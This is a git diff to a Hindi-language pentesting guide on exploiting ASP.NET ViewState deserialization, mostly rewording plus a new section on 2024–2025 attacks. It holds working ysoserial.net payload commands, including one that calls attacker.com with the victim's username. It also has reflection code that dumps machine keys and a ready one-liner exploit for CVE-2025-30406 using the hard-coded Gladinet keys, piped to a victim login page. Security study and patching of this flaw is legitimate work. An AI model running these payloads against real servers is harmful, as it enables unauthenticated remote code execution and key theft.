diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 2abf1fdf8..0c0adfe05 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -11,11 +11,11 @@ ViewState जानकारी को निम्नलिखित गुणों या उनके संयोजनों द्वारा वर्णित किया जा सकता है: - **Base64**: -- यह प्रारूप तब उपयोग किया जाता है जब `EnableViewStateMac` और `ViewStateEncryptionMode` गुण दोनों को false पर सेट किया गया हो। +- यह प्रारूप तब उपयोग किया जाता है जब `EnableViewStateMac` और `ViewStateEncryptionMode` विशेषताएँ false पर सेट होती हैं। - **Base64 + MAC (Message Authentication Code) Enabled**: -- MAC को सक्रिय करने के लिए `EnableViewStateMac` गुण को true पर सेट किया जाता है। यह ViewState डेटा के लिए अखंडता सत्यापन प्रदान करता है। +- MAC को सक्रिय करने के लिए `EnableViewStateMac` विशेषता को true पर सेट किया जाता है। यह ViewState डेटा के लिए अखंडता सत्यापन प्रदान करता है। - **Base64 + Encrypted**: -- एन्क्रिप्शन तब लागू किया जाता है जब `ViewStateEncryptionMode` गुण को true पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है। +- एन्क्रिप्शन तब लागू होता है जब `ViewStateEncryptionMode` विशेषता को true पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है। ## Test Cases @@ -50,7 +50,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` -हम इसे **web.config** फ़ाइल में नीचे दिखाए अनुसार सेट करके **कुल** एप्लिकेशन के लिए भी कर सकते हैं: +हम इसे **overall** एप्लिकेशन के लिए भी कर सकते हैं, इसे **web.config** फ़ाइल में नीचे दिखाए अनुसार सेट करके: ```xml @@ -61,7 +61,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ``` -चूंकि पैरामीटर MAC से सुरक्षित है, इस बार हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए। +चूंकि पैरामीटर इस बार MAC से सुरक्षित है, इसलिए हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए। आप उपयोग की गई कुंजी खोजने के लिए [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का प्रयास कर सकते हैं। ``` @@ -106,7 +106,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv ```bash --apppath="/" --path="/hello.aspx" ``` -### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true +### Test Case: 3 – .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true इसमें यह ज्ञात नहीं है कि क्या पैरामीटर MAC के साथ सुरक्षित है। तब, मान शायद एन्क्रिप्टेड है और आपको **अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन की आवश्यकता होगी** ताकि आप इस कमजोरियों का लाभ उठा सकें। @@ -114,11 +114,11 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv **.NET 4.5 से पहले**, ASP.NET **एक** **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_ पैरामीटर को उपयोगकर्ताओं से **स्वीकृत** कर सकता है **यहां तक कि** यदि **`ViewStateEncryptionMode`** को _**हमेशा**_ पर सेट किया गया है। ASP.NET **केवल** **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** की **जांच** करता है। **यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो इसे अभी भी संसाधित किया जाएगा।** -इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्ति का एक तरीका खोज लेते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग **केस 2** में किया गया, ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE करने के लिए किया जा सकता है। +इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्त करने का एक तरीका खोज लेते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग **केस 2** में किया गया, ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE करने के लिए किया जा सकता है। -- ViewState डेसिरियलाइजेशन कमजोरियों का लाभ उठाने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC मान्यता त्रुटि लौटाएगा और हमला विफल हो जाएगा। +- ViewState डेसिरियलाइजेशन कमजोरियों का लाभ उठाने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC सत्यापन त्रुटि लौटाएगा और हमला विफल हो जाएगा। -### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false +### Test Case: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false सिवाय इसके कि दोनों गुण false हों हम नीचे दिए गए पैरामीटर को web.config फ़ाइल के अंदर निर्दिष्ट करके ASP.NET ढांचे के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है। ```xml @@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6 ``` ![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png) -एक मान्य मशीन कुंजी पहचानने के बाद, **अगला कदम एक अनुक्रमित पेलोड उत्पन्न करना है** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) +एक बार जब एक मान्य मशीन कुंजी पहचान ली जाती है, **अगला कदम एक अनुक्रमित पेलोड उत्पन्न करना है** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` @@ -155,11 +155,11 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -ViewState deserialization भेद्यता का सफल शोषण एक हमलावर-नियंत्रित सर्वर पर एक आउट-ऑफ-बैंड अनुरोध की ओर ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार के शोषण को एक प्रमाणित अवधारणा (PoC) में प्रदर्शित किया गया है, जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक वाले संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया कैसे काम करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए, आप प्रदान किए गए [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) की समीक्षा कर सकते हैं। +ViewState deserialization भेद्यता का सफल शोषण एक हमलावर-नियंत्रित सर्वर पर एक आउट-ऑफ-बैंड अनुरोध की ओर ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार के शोषण को एक प्रमाणित अवधारणा (PoC) में प्रदर्शित किया गया है, जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक वाले संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया कैसे काम करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें, इस पर अधिक जानकारी के लिए, आप प्रदान किए गए [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) की समीक्षा कर सकते हैं। -### परीक्षण मामला 6 – ViewStateUserKeys का उपयोग किया जा रहा है +### टेस्ट केस 6 – ViewStateUserKeys का उपयोग किया जा रहा है -**ViewStateUserKey** प्रॉपर्टी का उपयोग **CSRF हमले** के खिलाफ **रक्षा** करने के लिए किया जा सकता है। यदि ऐसा एक कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा किए गए तरीकों से **ViewState** पेलोड उत्पन्न करने की कोशिश करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\ +**ViewStateUserKey** प्रॉपर्टी का **CSRF हमले** के खिलाफ **रक्षा** के लिए उपयोग किया जा सकता है। यदि ऐसा एक कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा किए गए तरीकों से **ViewState** पेलोड उत्पन्न करने की कोशिश करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\ आपको पेलोड को सही तरीके से बनाने के लिए एक और पैरामीटर का उपयोग करने की आवश्यकता है: ```bash --viewstateuserkey="randomstringdefinedintheserver" @@ -172,7 +172,8 @@ ViewState deserialization भेद्यता का सफल शोषण ### रिफ्लेक्शन के माध्यम से ASP.NET मशीन कुंजियों को डंप करना (SharPyShell/SharePoint ToolShell) -हमलावर जो लक्षित वेब रूट के अंदर **मनमाने ASPX कोड को अपलोड या निष्पादित** करने में सक्षम हैं, वे सीधे `__VIEWSTATE` को सुरक्षित रखने वाली गुप्त कुंजियों को प्राप्त कर सकते हैं, बजाय इसके कि उन्हें ब्रूटफोर्स किया जाए। एक न्यूनतम पेलोड जो कुंजियों को लीक करता है, रिफ्लेक्शन के माध्यम से आंतरिक .NET कक्षाओं का उपयोग करता है: +हमलावर जो लक्ष्य वेब रूट के अंदर **मनमाना ASPX कोड अपलोड या निष्पादित** करने में सक्षम हैं, वे सीधे `__VIEWSTATE` की सुरक्षा करने वाली गुप्त कुंजियों को प्राप्त कर सकते हैं बजाय इसके कि उन्हें ब्रूटफोर्स किया जाए। +एक न्यूनतम पेलोड जो कुंजियों को लीक करता है, रिफ्लेक्शन के माध्यम से आंतरिक .NET कक्षाओं का उपयोग करता है: ```csharp <%@ Import Namespace="System.Web.Configuration" %> <%@ Import Namespace="System.Reflection" %> @@ -200,12 +201,52 @@ curl "http://victim/page.aspx?__VIEWSTATE=" ``` यह **key-exfiltration primitive** 2025 में ऑन-प्रेम SharePoint सर्वरों के खिलाफ बड़े पैमाने पर शोषित किया गया था ("ToolShell" – CVE-2025-53770/53771), लेकिन यह किसी भी ASP.NET एप्लिकेशन पर लागू होता है जहां एक हमलावर सर्वर-साइड कोड चला सकता है। -## संदर्भ +## 2024-2025 वास्तविक दुनिया के शोषण परिदृश्य और हार्ड-कोडेड मशीन कुंजी +### Microsoft “सार्वजनिक रूप से प्रकट मशीन कुंजी” लहर (दिसंबर 2024 – फरवरी 2025) +Microsoft Threat Intelligence ने उन ASP.NET साइटों के बड़े पैमाने पर शोषण की रिपोर्ट की जहां *machineKey* पहले सार्वजनिक स्रोतों (GitHub gists, ब्लॉग पोस्ट, पेस्ट साइटों) पर लीक हो गई थी। प्रतिकूलों ने इन कुंजियों की गणना की और नए `ysoserial.net` 1.41 `--minify` और `--islegacy` ध्वजों के साथ मान्य `__VIEWSTATE` गैजेट्स उत्पन्न किए ताकि WAF लंबाई सीमाओं से बचा जा सके: +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ +--validationkey= --validationalg=SHA1 \ +--decryptionkey= --decryptionalg=AES \ +--generator= --minify +``` +स्थिर कुंजी को घुमाना या Web .config में *AutoGenerate* कुंजी पर स्विच करना (``) इस प्रकार के हमलों को कम करता है। {{#ref}} + +{{#endref}} + +### CVE-2025-30406 – Gladinet CentreStack / Triofox हार्ड-कोडेड कुंजी +Kudelski Security ने खोजा कि कई CentreStack / Triofox रिलीज़ में समान `machineKey` मान शामिल थे, जिससे ViewState धोखाधड़ी के माध्यम से बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन की अनुमति मिली (CVE-2025-30406)। + +वन-लाइनर एक्सप्लॉइट: +```bash +ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ +--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \ +--validationalg=SHA1 \ +--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \ +--decryptionalg=AES --generator=24D41AAB --minify \ +| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx +``` +Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – तुरंत अपग्रेड करें या कुंजी बदलें। {{#ref}} + + +{{#endref}} + +## References + +- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) +- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) +- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) +- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) +- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/) - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) - [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) + + {{#include ../../banners/hacktricks-training.md}}